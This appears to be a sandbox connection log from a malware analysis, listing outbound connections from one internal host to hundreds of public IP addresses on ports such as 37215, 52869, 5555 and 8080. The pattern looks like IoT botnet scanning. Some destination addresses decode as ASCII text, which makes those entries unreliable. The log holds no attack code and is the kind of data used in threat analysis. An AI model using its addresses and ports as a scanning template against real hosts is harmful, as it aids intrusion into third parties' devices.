Feb 12, 2023 21:25:07.984364033 CET	22272	5555	192.168.2.23	42.28.230.145
Feb 12, 2023 21:25:07.984364986 CET	22272	5555	192.168.2.23	63.116.174.45
Feb 12, 2023 21:25:07.984365940 CET	22272	5555	192.168.2.23	57.19.94.177
Feb 12, 2023 21:25:07.984365940 CET	22272	5555	192.168.2.23	24.198.52.208
Feb 12, 2023 21:25:07.984365940 CET	22272	5555	192.168.2.23	161.211.161.159
Feb 12, 2023 21:25:07.984369993 CET	22272	5555	192.168.2.23	130.186.62.41
Feb 12, 2023 21:25:07.984370947 CET	22272	5555	192.168.2.23	98.99.194.110
Feb 12, 2023 21:25:07.984370947 CET	22272	5555	192.168.2.23	220.177.106.53
Feb 12, 2023 21:25:07.984370947 CET	22272	5555	192.168.2.23	110.205.102.118
Feb 12, 2023 21:25:08.078838110 CET	50970	80	192.168.2.23	49.53.53.46
Feb 12, 2023 21:25:08.110848904 CET	57162	52869	192.168.2.23	53.54.46.57
Feb 12, 2023 21:25:08.110862970 CET	52920	52869	192.168.2.23	49.52.54.46
Feb 12, 2023 21:25:08.142765999 CET	50416	52869	192.168.2.23	49.55.52.46
Feb 12, 2023 21:25:08.142786980 CET	46530	52869	192.168.2.23	53.54.46.52
Feb 12, 2023 21:25:08.142786980 CET	50038	52869	192.168.2.23	50.48.51.46
Feb 12, 2023 21:25:08.142846107 CET	39138	52869	192.168.2.23	50.48.46.50
Feb 12, 2023 21:25:08.142846107 CET	48642	52869	192.168.2.23	51.53.46.50
Feb 12, 2023 21:25:08.142891884 CET	44774	52869	192.168.2.23	52.57.46.49
Feb 12, 2023 21:25:08.142899036 CET	48044	52869	192.168.2.23	55.56.46.51
Feb 12, 2023 21:25:08.142899036 CET	60786	52869	192.168.2.23	53.57.46.50
Feb 12, 2023 21:25:08.156637907 CET	5555	22272	203.175.174.220	192.168.2.23
Feb 12, 2023 21:25:08.166095972 CET	5555	22272	139.162.36.246	192.168.2.23
Feb 12, 2023 21:25:08.174824953 CET	55026	80	192.168.2.23	50.49.52.46
Feb 12, 2023 21:25:08.174825907 CET	46940	80	192.168.2.23	49.56.54.46
Feb 12, 2023 21:25:08.174840927 CET	58926	80	192.168.2.23	54.56.46.49
Feb 12, 2023 21:25:08.174843073 CET	42452	80	192.168.2.23	49.57.56.46
Feb 12, 2023 21:25:08.174853086 CET	34588	80	192.168.2.23	50.50.57.46
Feb 12, 2023 21:25:08.174861908 CET	52604	80	192.168.2.23	49.51.56.46
Feb 12, 2023 21:25:08.174880028 CET	60342	80	192.168.2.23	49.48.57.46
Feb 12, 2023 21:25:08.174895048 CET	37584	80	192.168.2.23	51.54.46.49
Feb 12, 2023 21:25:08.174930096 CET	47492	80	192.168.2.23	49.57.51.46
Feb 12, 2023 21:25:08.188323975 CET	5555	22272	155.89.239.3	192.168.2.23
Feb 12, 2023 21:25:08.242844105 CET	5555	22272	221.154.54.7	192.168.2.23
Feb 12, 2023 21:25:08.278409958 CET	5555	22272	60.83.99.245	192.168.2.23
Feb 12, 2023 21:25:08.309093952 CET	5555	22272	119.65.168.212	192.168.2.23
Feb 12, 2023 21:25:08.402725935 CET	57068	49152	192.168.2.23	49.53.53.46
Feb 12, 2023 21:25:08.462805033 CET	43532	8080	192.168.2.23	49.52.54.46
Feb 12, 2023 21:25:08.462814093 CET	60526	8080	192.168.2.23	49.55.52.46
Feb 12, 2023 21:25:08.462888956 CET	35052	80	192.168.2.23	49.55.52.46
Feb 12, 2023 21:25:08.462894917 CET	45398	80	192.168.2.23	53.54.46.52
Feb 12, 2023 21:25:08.462930918 CET	56378	8080	192.168.2.23	53.54.46.57
Feb 12, 2023 21:25:08.462930918 CET	43996	80	192.168.2.23	49.52.54.46
Feb 12, 2023 21:25:08.462948084 CET	48254	80	192.168.2.23	53.54.46.57
Feb 12, 2023 21:25:08.482563019 CET	52981	37215	192.168.2.23	41.243.133.69
Feb 12, 2023 21:25:08.482599974 CET	52981	37215	192.168.2.23	157.90.162.243
Feb 12, 2023 21:25:08.482604980 CET	52981	37215	192.168.2.23	157.148.33.160
Feb 12, 2023 21:25:08.482611895 CET	52981	37215	192.168.2.23	52.61.225.0
Feb 12, 2023 21:25:08.482611895 CET	52981	37215	192.168.2.23	113.252.126.138
Feb 12, 2023 21:25:08.482625961 CET	52981	37215	192.168.2.23	174.7.40.209
Feb 12, 2023 21:25:08.482625961 CET	52981	37215	192.168.2.23	197.119.118.218
Feb 12, 2023 21:25:08.482625961 CET	52981	37215	192.168.2.23	41.173.64.255
Feb 12, 2023 21:25:08.482644081 CET	52981	37215	192.168.2.23	197.167.98.127
Feb 12, 2023 21:25:08.482644081 CET	52981	37215	192.168.2.23	41.41.71.247
Feb 12, 2023 21:25:08.482657909 CET	52981	37215	192.168.2.23	157.206.214.8
Feb 12, 2023 21:25:08.482657909 CET	52981	37215	192.168.2.23	134.180.53.240
Feb 12, 2023 21:25:08.482661009 CET	52981	37215	192.168.2.23	197.72.6.132
Feb 12, 2023 21:25:08.482672930 CET	52981	37215	192.168.2.23	197.66.248.142
Feb 12, 2023 21:25:08.482672930 CET	52981	37215	192.168.2.23	197.241.93.245
Feb 12, 2023 21:25:08.482708931 CET	52981	37215	192.168.2.23	41.55.194.121
Feb 12, 2023 21:25:08.482708931 CET	52981	37215	192.168.2.23	152.28.177.32
Feb 12, 2023 21:25:08.482708931 CET	52981	37215	192.168.2.23	197.195.218.103
Feb 12, 2023 21:25:08.482711077 CET	52981	37215	192.168.2.23	197.12.116.184
Feb 12, 2023 21:25:08.482712030 CET	52981	37215	192.168.2.23	157.124.110.229
Feb 12, 2023 21:25:08.482712030 CET	52981	37215	192.168.2.23	41.183.64.90
Feb 12, 2023 21:25:08.482712030 CET	52981	37215	192.168.2.23	41.54.4.121
Feb 12, 2023 21:25:08.482712030 CET	52981	37215	192.168.2.23	197.45.70.185
Feb 12, 2023 21:25:08.482712984 CET	52981	37215	192.168.2.23	197.201.93.92
Feb 12, 2023 21:25:08.482712984 CET	52981	37215	192.168.2.23	157.95.72.38
Feb 12, 2023 21:25:08.482712984 CET	52981	37215	192.168.2.23	41.233.154.38
Feb 12, 2023 21:25:08.482729912 CET	52981	37215	192.168.2.23	41.221.197.108
Feb 12, 2023 21:25:08.482753992 CET	52981	37215	192.168.2.23	41.253.249.49
Feb 12, 2023 21:25:08.482753992 CET	52981	37215	192.168.2.23	157.98.140.41
Feb 12, 2023 21:25:08.482753992 CET	52981	37215	192.168.2.23	157.131.36.111
Feb 12, 2023 21:25:08.482753992 CET	52981	37215	192.168.2.23	197.187.82.45
Feb 12, 2023 21:25:08.482753992 CET	52981	37215	192.168.2.23	197.14.57.8
Feb 12, 2023 21:25:08.482758045 CET	52981	37215	192.168.2.23	39.133.52.60
Feb 12, 2023 21:25:08.482759953 CET	52981	37215	192.168.2.23	157.77.67.234
Feb 12, 2023 21:25:08.482758045 CET	52981	37215	192.168.2.23	157.227.253.109
Feb 12, 2023 21:25:08.482758045 CET	52981	37215	192.168.2.23	157.174.149.206
Feb 12, 2023 21:25:08.482758045 CET	52981	37215	192.168.2.23	41.239.225.134
Feb 12, 2023 21:25:08.482758999 CET	52981	37215	192.168.2.23	197.24.192.7
Feb 12, 2023 21:25:08.482758999 CET	52981	37215	192.168.2.23	154.29.134.8
Feb 12, 2023 21:25:08.482786894 CET	52981	37215	192.168.2.23	65.255.21.217
Feb 12, 2023 21:25:08.482786894 CET	52981	37215	192.168.2.23	72.184.134.100
Feb 12, 2023 21:25:08.482788086 CET	52981	37215	192.168.2.23	157.42.196.116
Feb 12, 2023 21:25:08.482786894 CET	52981	37215	192.168.2.23	41.189.86.89
Feb 12, 2023 21:25:08.482786894 CET	52981	37215	192.168.2.23	197.117.61.145
Feb 12, 2023 21:25:08.482795954 CET	52981	37215	192.168.2.23	197.153.231.76
Feb 12, 2023 21:25:08.482800961 CET	52981	37215	192.168.2.23	197.123.195.133
Feb 12, 2023 21:25:08.482800961 CET	52981	37215	192.168.2.23	41.3.182.145
Feb 12, 2023 21:25:08.482808113 CET	52981	37215	192.168.2.23	197.219.100.102
Feb 12, 2023 21:25:08.482800961 CET	52981	37215	192.168.2.23	222.206.99.203
Feb 12, 2023 21:25:08.482800961 CET	52981	37215	192.168.2.23	41.243.68.143
Feb 12, 2023 21:25:08.482808113 CET	52981	37215	192.168.2.23	41.56.129.95
Feb 12, 2023 21:25:08.482800961 CET	52981	37215	192.168.2.23	157.11.118.103
Feb 12, 2023 21:25:08.482808113 CET	52981	37215	192.168.2.23	41.62.178.227
Feb 12, 2023 21:25:08.482808113 CET	52981	37215	192.168.2.23	157.89.142.208
Feb 12, 2023 21:25:08.482814074 CET	52981	37215	192.168.2.23	197.242.233.18
Feb 12, 2023 21:25:08.482808113 CET	52981	37215	192.168.2.23	197.182.155.105
Feb 12, 2023 21:25:08.482822895 CET	52981	37215	192.168.2.23	71.55.146.8
Feb 12, 2023 21:25:08.482822895 CET	52981	37215	192.168.2.23	197.226.136.202
Feb 12, 2023 21:25:08.482822895 CET	52981	37215	192.168.2.23	157.67.177.50
Feb 12, 2023 21:25:08.482831001 CET	52981	37215	192.168.2.23	41.105.219.201
Feb 12, 2023 21:25:08.482841015 CET	52981	37215	192.168.2.23	197.100.220.88
Feb 12, 2023 21:25:08.482850075 CET	52981	37215	192.168.2.23	197.38.126.154
Feb 12, 2023 21:25:08.482848883 CET	52981	37215	192.168.2.23	197.182.197.46
Feb 12, 2023 21:25:08.482848883 CET	52981	37215	192.168.2.23	197.38.93.148
Feb 12, 2023 21:25:08.482848883 CET	52981	37215	192.168.2.23	157.203.73.128
Feb 12, 2023 21:25:08.482860088 CET	52981	37215	192.168.2.23	197.52.212.20
Feb 12, 2023 21:25:08.482863903 CET	52981	37215	192.168.2.23	123.113.4.149
Feb 12, 2023 21:25:08.482867956 CET	52981	37215	192.168.2.23	41.180.119.35
Feb 12, 2023 21:25:08.482870102 CET	52981	37215	192.168.2.23	197.69.52.220
Feb 12, 2023 21:25:08.482896090 CET	52981	37215	192.168.2.23	157.78.61.80
Feb 12, 2023 21:25:08.482897043 CET	52981	37215	192.168.2.23	157.153.3.44
Feb 12, 2023 21:25:08.482899904 CET	52981	37215	192.168.2.23	197.196.125.112
Feb 12, 2023 21:25:08.482899904 CET	52981	37215	192.168.2.23	197.226.86.20
Feb 12, 2023 21:25:08.482899904 CET	52981	37215	192.168.2.23	197.82.211.120
Feb 12, 2023 21:25:08.482901096 CET	52981	37215	192.168.2.23	157.232.255.242
Feb 12, 2023 21:25:08.482901096 CET	52981	37215	192.168.2.23	157.163.86.41
Feb 12, 2023 21:25:08.482901096 CET	52981	37215	192.168.2.23	124.104.132.80
Feb 12, 2023 21:25:08.482901096 CET	52981	37215	192.168.2.23	80.64.133.228
Feb 12, 2023 21:25:08.482901096 CET	52981	37215	192.168.2.23	41.226.58.210
Feb 12, 2023 21:25:08.482917070 CET	52981	37215	192.168.2.23	162.185.159.34
Feb 12, 2023 21:25:08.482924938 CET	52981	37215	192.168.2.23	92.96.104.18
Feb 12, 2023 21:25:08.482924938 CET	52981	37215	192.168.2.23	41.164.141.242
Feb 12, 2023 21:25:08.482928038 CET	52981	37215	192.168.2.23	157.39.59.187
Feb 12, 2023 21:25:08.482928038 CET	52981	37215	192.168.2.23	89.81.180.104
Feb 12, 2023 21:25:08.482935905 CET	52981	37215	192.168.2.23	157.243.6.236
Feb 12, 2023 21:25:08.482942104 CET	52981	37215	192.168.2.23	41.115.231.132
Feb 12, 2023 21:25:08.482942104 CET	52981	37215	192.168.2.23	160.93.185.22
Feb 12, 2023 21:25:08.482942104 CET	52981	37215	192.168.2.23	41.2.166.42
Feb 12, 2023 21:25:08.482942104 CET	52981	37215	192.168.2.23	41.129.130.141
Feb 12, 2023 21:25:08.482942104 CET	52981	37215	192.168.2.23	41.3.168.5
Feb 12, 2023 21:25:08.482966900 CET	52981	37215	192.168.2.23	157.231.171.78
Feb 12, 2023 21:25:08.482966900 CET	52981	37215	192.168.2.23	41.17.70.63
Feb 12, 2023 21:25:08.482966900 CET	52981	37215	192.168.2.23	36.88.239.227
Feb 12, 2023 21:25:08.482966900 CET	52981	37215	192.168.2.23	157.148.77.233
Feb 12, 2023 21:25:08.482969999 CET	52981	37215	192.168.2.23	62.101.234.218
Feb 12, 2023 21:25:08.482970953 CET	52981	37215	192.168.2.23	157.221.2.206
Feb 12, 2023 21:25:08.482970953 CET	52981	37215	192.168.2.23	157.142.170.47
Feb 12, 2023 21:25:08.482985020 CET	52981	37215	192.168.2.23	153.76.85.29
Feb 12, 2023 21:25:08.482994080 CET	52981	37215	192.168.2.23	107.9.7.110
Feb 12, 2023 21:25:08.483010054 CET	52981	37215	192.168.2.23	157.130.18.136
Feb 12, 2023 21:25:08.483010054 CET	52981	37215	192.168.2.23	41.252.187.148
Feb 12, 2023 21:25:08.483010054 CET	52981	37215	192.168.2.23	157.96.145.244
Feb 12, 2023 21:25:08.483016968 CET	52981	37215	192.168.2.23	197.102.80.143
Feb 12, 2023 21:25:08.483016968 CET	52981	37215	192.168.2.23	197.108.229.53
Feb 12, 2023 21:25:08.483016968 CET	52981	37215	192.168.2.23	41.77.128.214
Feb 12, 2023 21:25:08.483023882 CET	52981	37215	192.168.2.23	197.118.65.190
Feb 12, 2023 21:25:08.483023882 CET	52981	37215	192.168.2.23	108.95.193.94
Feb 12, 2023 21:25:08.483023882 CET	52981	37215	192.168.2.23	89.255.243.193
Feb 12, 2023 21:25:08.483030081 CET	52981	37215	192.168.2.23	197.59.125.23
Feb 12, 2023 21:25:08.483041048 CET	52981	37215	192.168.2.23	41.64.54.9
Feb 12, 2023 21:25:08.483041048 CET	52981	37215	192.168.2.23	41.229.195.150
Feb 12, 2023 21:25:08.483042002 CET	52981	37215	192.168.2.23	157.65.5.58
Feb 12, 2023 21:25:08.483045101 CET	52981	37215	192.168.2.23	197.232.182.248
Feb 12, 2023 21:25:08.483045101 CET	52981	37215	192.168.2.23	157.220.64.20
Feb 12, 2023 21:25:08.483046055 CET	52981	37215	192.168.2.23	41.233.157.74
Feb 12, 2023 21:25:08.483046055 CET	52981	37215	192.168.2.23	197.146.234.225
Feb 12, 2023 21:25:08.483046055 CET	52981	37215	192.168.2.23	197.228.103.15
Feb 12, 2023 21:25:08.483046055 CET	52981	37215	192.168.2.23	157.102.45.189
Feb 12, 2023 21:25:08.483057022 CET	52981	37215	192.168.2.23	182.170.161.3
Feb 12, 2023 21:25:08.483057022 CET	52981	37215	192.168.2.23	157.127.77.175
Feb 12, 2023 21:25:08.483059883 CET	52981	37215	192.168.2.23	41.89.195.238
Feb 12, 2023 21:25:08.483059883 CET	52981	37215	192.168.2.23	41.131.133.229
Feb 12, 2023 21:25:08.483077049 CET	52981	37215	192.168.2.23	197.187.52.117
Feb 12, 2023 21:25:08.483078003 CET	52981	37215	192.168.2.23	41.226.18.68
Feb 12, 2023 21:25:08.483078957 CET	52981	37215	192.168.2.23	41.176.3.21
Feb 12, 2023 21:25:08.483079910 CET	52981	37215	192.168.2.23	197.118.38.13
Feb 12, 2023 21:25:08.483077049 CET	52981	37215	192.168.2.23	41.120.117.233
Feb 12, 2023 21:25:08.483078957 CET	52981	37215	192.168.2.23	197.55.233.52
Feb 12, 2023 21:25:08.483078003 CET	52981	37215	192.168.2.23	197.9.104.245
Feb 12, 2023 21:25:08.483078957 CET	52981	37215	192.168.2.23	197.237.73.210
Feb 12, 2023 21:25:08.483077049 CET	52981	37215	192.168.2.23	197.230.44.46
Feb 12, 2023 21:25:08.483086109 CET	52981	37215	192.168.2.23	2.227.133.206
Feb 12, 2023 21:25:08.483078957 CET	52981	37215	192.168.2.23	157.98.223.181
Feb 12, 2023 21:25:08.483077049 CET	52981	37215	192.168.2.23	197.241.121.152
Feb 12, 2023 21:25:08.483078957 CET	52981	37215	192.168.2.23	41.58.106.165
Feb 12, 2023 21:25:08.483086109 CET	52981	37215	192.168.2.23	41.70.177.222
Feb 12, 2023 21:25:08.483092070 CET	52981	37215	192.168.2.23	41.243.52.130
Feb 12, 2023 21:25:08.483078003 CET	52981	37215	192.168.2.23	131.85.12.170
Feb 12, 2023 21:25:08.483077049 CET	52981	37215	192.168.2.23	160.91.33.152
Feb 12, 2023 21:25:08.483078003 CET	52981	37215	192.168.2.23	41.18.253.240
Feb 12, 2023 21:25:08.483098984 CET	52981	37215	192.168.2.23	157.167.248.102
Feb 12, 2023 21:25:08.483109951 CET	52981	37215	192.168.2.23	197.92.104.1
Feb 12, 2023 21:25:08.483123064 CET	52981	37215	192.168.2.23	157.192.168.107
Feb 12, 2023 21:25:08.483123064 CET	52981	37215	192.168.2.23	197.159.163.252
Feb 12, 2023 21:25:08.483123064 CET	52981	37215	192.168.2.23	197.197.161.46
Feb 12, 2023 21:25:08.483155966 CET	52981	37215	192.168.2.23	157.47.218.247
Feb 12, 2023 21:25:08.483155966 CET	52981	37215	192.168.2.23	157.52.163.78
Feb 12, 2023 21:25:08.483158112 CET	52981	37215	192.168.2.23	157.97.64.137
Feb 12, 2023 21:25:08.483182907 CET	52981	37215	192.168.2.23	41.8.73.224
Feb 12, 2023 21:25:08.483186960 CET	52981	37215	192.168.2.23	5.69.102.194
Feb 12, 2023 21:25:08.483190060 CET	52981	37215	192.168.2.23	41.210.210.40
Feb 12, 2023 21:25:08.483191967 CET	52981	37215	192.168.2.23	41.152.99.172
Feb 12, 2023 21:25:08.483191967 CET	52981	37215	192.168.2.23	157.72.90.235
Feb 12, 2023 21:25:08.483191967 CET	52981	37215	192.168.2.23	157.228.204.113
Feb 12, 2023 21:25:08.483191967 CET	52981	37215	192.168.2.23	186.128.32.87
Feb 12, 2023 21:25:08.483198881 CET	52981	37215	192.168.2.23	41.191.6.96
Feb 12, 2023 21:25:08.483198881 CET	52981	37215	192.168.2.23	197.11.247.168
Feb 12, 2023 21:25:08.483198881 CET	52981	37215	192.168.2.23	53.15.98.186
Feb 12, 2023 21:25:08.483198881 CET	52981	37215	192.168.2.23	157.118.68.62
Feb 12, 2023 21:25:08.483220100 CET	52981	37215	192.168.2.23	157.246.191.43
Feb 12, 2023 21:25:08.483220100 CET	52981	37215	192.168.2.23	157.88.143.153
Feb 12, 2023 21:25:08.483221054 CET	52981	37215	192.168.2.23	41.53.26.188
Feb 12, 2023 21:25:08.483220100 CET	52981	37215	192.168.2.23	79.149.185.173
Feb 12, 2023 21:25:08.483221054 CET	52981	37215	192.168.2.23	41.159.30.72
Feb 12, 2023 21:25:08.483223915 CET	52981	37215	192.168.2.23	41.129.66.59
Feb 12, 2023 21:25:08.483226061 CET	52981	37215	192.168.2.23	157.42.213.243
Feb 12, 2023 21:25:08.483251095 CET	52981	37215	192.168.2.23	157.49.134.128
Feb 12, 2023 21:25:08.483252048 CET	52981	37215	192.168.2.23	157.205.222.188
Feb 12, 2023 21:25:08.483254910 CET	52981	37215	192.168.2.23	157.20.24.255
Feb 12, 2023 21:25:08.483252048 CET	52981	37215	192.168.2.23	197.229.54.140
Feb 12, 2023 21:25:08.483262062 CET	52981	37215	192.168.2.23	59.146.177.116
Feb 12, 2023 21:25:08.483262062 CET	52981	37215	192.168.2.23	157.162.155.41
Feb 12, 2023 21:25:08.483262062 CET	52981	37215	192.168.2.23	41.213.95.197
Feb 12, 2023 21:25:08.483269930 CET	52981	37215	192.168.2.23	155.17.182.92
Feb 12, 2023 21:25:08.483269930 CET	52981	37215	192.168.2.23	157.214.242.127
Feb 12, 2023 21:25:08.483274937 CET	52981	37215	192.168.2.23	157.113.26.0
Feb 12, 2023 21:25:08.483279943 CET	52981	37215	192.168.2.23	197.99.152.144
Feb 12, 2023 21:25:08.483308077 CET	52981	37215	192.168.2.23	157.148.210.4
Feb 12, 2023 21:25:08.483309031 CET	52981	37215	192.168.2.23	129.52.88.34
Feb 12, 2023 21:25:08.483306885 CET	52981	37215	192.168.2.23	197.197.171.183
Feb 12, 2023 21:25:08.483306885 CET	52981	37215	192.168.2.23	41.2.197.254
Feb 12, 2023 21:25:08.483314991 CET	52981	37215	192.168.2.23	197.117.121.237
Feb 12, 2023 21:25:08.483331919 CET	52981	37215	192.168.2.23	197.75.135.152
Feb 12, 2023 21:25:08.483335018 CET	52981	37215	192.168.2.23	157.34.91.200
Feb 12, 2023 21:25:08.483342886 CET	52981	37215	192.168.2.23	197.58.148.8
Feb 12, 2023 21:25:08.483355045 CET	52981	37215	192.168.2.23	41.188.70.193
Feb 12, 2023 21:25:08.483366013 CET	52981	37215	192.168.2.23	166.200.73.106
Feb 12, 2023 21:25:08.483366013 CET	52981	37215	192.168.2.23	41.252.40.166
Feb 12, 2023 21:25:08.483369112 CET	52981	37215	192.168.2.23	41.24.194.10
Feb 12, 2023 21:25:08.483369112 CET	52981	37215	192.168.2.23	41.176.118.92
Feb 12, 2023 21:25:08.483370066 CET	52981	37215	192.168.2.23	197.101.235.74
Feb 12, 2023 21:25:08.483369112 CET	52981	37215	192.168.2.23	157.162.247.157
Feb 12, 2023 21:25:08.483369112 CET	52981	37215	192.168.2.23	157.195.103.165
Feb 12, 2023 21:25:08.483369112 CET	52981	37215	192.168.2.23	157.44.75.76
Feb 12, 2023 21:25:08.483369112 CET	52981	37215	192.168.2.23	99.239.199.95
Feb 12, 2023 21:25:08.483392954 CET	52981	37215	192.168.2.23	157.92.145.170
Feb 12, 2023 21:25:08.483397007 CET	52981	37215	192.168.2.23	41.139.156.153
Feb 12, 2023 21:25:08.483397961 CET	52981	37215	192.168.2.23	41.47.14.5
Feb 12, 2023 21:25:08.483397007 CET	52981	37215	192.168.2.23	197.81.89.122
Feb 12, 2023 21:25:08.483407974 CET	52981	37215	192.168.2.23	41.159.117.6
Feb 12, 2023 21:25:08.483417034 CET	52981	37215	192.168.2.23	197.48.73.168
Feb 12, 2023 21:25:08.483417034 CET	52981	37215	192.168.2.23	157.189.145.71
Feb 12, 2023 21:25:08.483417034 CET	52981	37215	192.168.2.23	41.255.185.235
Feb 12, 2023 21:25:08.483433962 CET	52981	37215	192.168.2.23	197.165.82.192
Feb 12, 2023 21:25:08.483438969 CET	52981	37215	192.168.2.23	41.199.183.149
Feb 12, 2023 21:25:08.483441114 CET	52981	37215	192.168.2.23	157.117.243.227
Feb 12, 2023 21:25:08.483448029 CET	52981	37215	192.168.2.23	197.241.163.12
Feb 12, 2023 21:25:08.483448029 CET	52981	37215	192.168.2.23	197.141.193.163
Feb 12, 2023 21:25:08.483458996 CET	52981	37215	192.168.2.23	41.74.182.114
Feb 12, 2023 21:25:08.483459949 CET	52981	37215	192.168.2.23	197.9.195.3
Feb 12, 2023 21:25:08.483459949 CET	52981	37215	192.168.2.23	197.20.181.219
Feb 12, 2023 21:25:08.483467102 CET	52981	37215	192.168.2.23	41.99.79.194
Feb 12, 2023 21:25:08.483470917 CET	52981	37215	192.168.2.23	19.115.188.181
Feb 12, 2023 21:25:08.483477116 CET	52981	37215	192.168.2.23	91.234.157.6
Feb 12, 2023 21:25:08.483483076 CET	52981	37215	192.168.2.23	157.19.142.246
Feb 12, 2023 21:25:08.483484030 CET	52981	37215	192.168.2.23	148.227.168.223
Feb 12, 2023 21:25:08.483485937 CET	52981	37215	192.168.2.23	135.5.124.83
Feb 12, 2023 21:25:08.483498096 CET	52981	37215	192.168.2.23	41.211.136.232
Feb 12, 2023 21:25:08.483498096 CET	52981	37215	192.168.2.23	197.179.237.125
Feb 12, 2023 21:25:08.483503103 CET	52981	37215	192.168.2.23	157.16.216.71
Feb 12, 2023 21:25:08.483526945 CET	52981	37215	192.168.2.23	197.47.182.123
Feb 12, 2023 21:25:08.483526945 CET	52981	37215	192.168.2.23	157.249.148.116
Feb 12, 2023 21:25:08.483535051 CET	52981	37215	192.168.2.23	157.166.47.141
Feb 12, 2023 21:25:08.483535051 CET	52981	37215	192.168.2.23	41.187.66.128
Feb 12, 2023 21:25:08.483526945 CET	52981	37215	192.168.2.23	157.37.84.76
Feb 12, 2023 21:25:08.483526945 CET	52981	37215	192.168.2.23	85.147.241.38
Feb 12, 2023 21:25:08.483526945 CET	52981	37215	192.168.2.23	157.24.231.248
Feb 12, 2023 21:25:08.483541965 CET	52981	37215	192.168.2.23	154.205.38.50
Feb 12, 2023 21:25:08.483544111 CET	52981	37215	192.168.2.23	157.237.32.66
Feb 12, 2023 21:25:08.483544111 CET	52981	37215	192.168.2.23	41.90.38.175
Feb 12, 2023 21:25:08.483551025 CET	52981	37215	192.168.2.23	197.253.79.180
Feb 12, 2023 21:25:08.483551025 CET	52981	37215	192.168.2.23	197.97.198.21
Feb 12, 2023 21:25:08.483565092 CET	52981	37215	192.168.2.23	157.225.182.0
Feb 12, 2023 21:25:08.483565092 CET	52981	37215	192.168.2.23	20.185.124.186
Feb 12, 2023 21:25:08.483567953 CET	52981	37215	192.168.2.23	41.115.193.199
Feb 12, 2023 21:25:08.483576059 CET	52981	37215	192.168.2.23	139.180.82.156
Feb 12, 2023 21:25:08.483576059 CET	52981	37215	192.168.2.23	197.95.87.124
Feb 12, 2023 21:25:08.483576059 CET	52981	37215	192.168.2.23	197.52.47.140
Feb 12, 2023 21:25:08.483606100 CET	52981	37215	192.168.2.23	157.161.157.117
Feb 12, 2023 21:25:08.483606100 CET	52981	37215	192.168.2.23	41.85.23.181
Feb 12, 2023 21:25:08.483613014 CET	52981	37215	192.168.2.23	197.76.201.198
Feb 12, 2023 21:25:08.483614922 CET	52981	37215	192.168.2.23	170.213.119.14
Feb 12, 2023 21:25:08.483614922 CET	52981	37215	192.168.2.23	41.119.219.176
Feb 12, 2023 21:25:08.483618975 CET	52981	37215	192.168.2.23	107.28.165.110
Feb 12, 2023 21:25:08.483618975 CET	52981	37215	192.168.2.23	157.204.217.132
Feb 12, 2023 21:25:08.483618975 CET	52981	37215	192.168.2.23	157.0.200.165
Feb 12, 2023 21:25:08.483618975 CET	52981	37215	192.168.2.23	197.241.193.187
Feb 12, 2023 21:25:08.483623028 CET	52981	37215	192.168.2.23	157.105.189.169
Feb 12, 2023 21:25:08.483623981 CET	52981	37215	192.168.2.23	197.149.174.171
Feb 12, 2023 21:25:08.483623981 CET	52981	37215	192.168.2.23	41.221.96.176
Feb 12, 2023 21:25:08.483623981 CET	52981	37215	192.168.2.23	197.56.179.236
Feb 12, 2023 21:25:08.483628988 CET	52981	37215	192.168.2.23	41.114.147.81
Feb 12, 2023 21:25:08.483628988 CET	52981	37215	192.168.2.23	197.118.20.234
Feb 12, 2023 21:25:08.483623981 CET	52981	37215	192.168.2.23	157.94.152.44
Feb 12, 2023 21:25:08.483628988 CET	52981	37215	192.168.2.23	13.5.148.232
Feb 12, 2023 21:25:08.483623981 CET	52981	37215	192.168.2.23	41.3.41.169
Feb 12, 2023 21:25:08.494760036 CET	54488	8080	192.168.2.23	51.53.46.50
Feb 12, 2023 21:25:08.494766951 CET	54914	8080	192.168.2.23	52.57.46.49
Feb 12, 2023 21:25:08.494772911 CET	36580	8080	192.168.2.23	53.54.46.52
Feb 12, 2023 21:25:08.494786978 CET	58258	8080	192.168.2.23	50.48.46.50
Feb 12, 2023 21:25:08.494788885 CET	35106	8080	192.168.2.23	55.56.46.51
Feb 12, 2023 21:25:08.494787931 CET	50520	8080	192.168.2.23	50.48.51.46
Feb 12, 2023 21:25:08.494791031 CET	41382	8080	192.168.2.23	53.57.46.50
Feb 12, 2023 21:25:08.504862070 CET	37215	52981	157.90.162.243	192.168.2.23
Feb 12, 2023 21:25:08.540019989 CET	37215	52981	197.195.218.103	192.168.2.23
Feb 12, 2023 21:25:08.540257931 CET	52981	37215	192.168.2.23	197.195.218.103
Feb 12, 2023 21:25:08.562577009 CET	37215	52981	197.197.171.183	192.168.2.23
Feb 12, 2023 21:25:08.562860966 CET	52981	37215	192.168.2.23	197.197.171.183
Feb 12, 2023 21:25:08.575937033 CET	37215	52981	197.9.104.245	192.168.2.23
Feb 12, 2023 21:25:08.587784052 CET	37215	52981	197.9.195.3	192.168.2.23
Feb 12, 2023 21:25:08.632405043 CET	37215	52981	197.253.79.180	192.168.2.23
Feb 12, 2023 21:25:08.632699966 CET	52981	37215	192.168.2.23	197.253.79.180
Feb 12, 2023 21:25:08.656922102 CET	37215	52981	154.29.134.8	192.168.2.23
Feb 12, 2023 21:25:08.686821938 CET	46910	5555	192.168.2.23	49.56.57.46
Feb 12, 2023 21:25:08.687038898 CET	38702	8080	192.168.2.23	50.48.55.46
Feb 12, 2023 21:25:08.691147089 CET	37215	52981	197.237.73.210	192.168.2.23
Feb 12, 2023 21:25:08.718990088 CET	40536	80	192.168.2.23	51.53.46.50
Feb 12, 2023 21:25:08.719054937 CET	45366	80	192.168.2.23	50.48.46.50
Feb 12, 2023 21:25:08.719086885 CET	55188	80	192.168.2.23	52.57.46.49
Feb 12, 2023 21:25:08.719110012 CET	36586	80	192.168.2.23	50.48.51.46
Feb 12, 2023 21:25:08.719111919 CET	36012	80	192.168.2.23	55.56.46.51
Feb 12, 2023 21:25:08.719260931 CET	51704	80	192.168.2.23	53.57.46.50
Feb 12, 2023 21:25:08.739162922 CET	80	55188	52.57.46.49	192.168.2.23
Feb 12, 2023 21:25:08.739311934 CET	55188	80	192.168.2.23	52.57.46.49
Feb 12, 2023 21:25:08.751288891 CET	55188	80	192.168.2.23	52.57.46.49
Feb 12, 2023 21:25:08.771614075 CET	80	55188	52.57.46.49	192.168.2.23
Feb 12, 2023 21:25:08.774439096 CET	80	55188	52.57.46.49	192.168.2.23
Feb 12, 2023 21:25:08.774480104 CET	80	55188	52.57.46.49	192.168.2.23
Feb 12, 2023 21:25:08.774610043 CET	55188	80	192.168.2.23	52.57.46.49
Feb 12, 2023 21:25:08.814748049 CET	55188	80	192.168.2.23	52.57.46.49
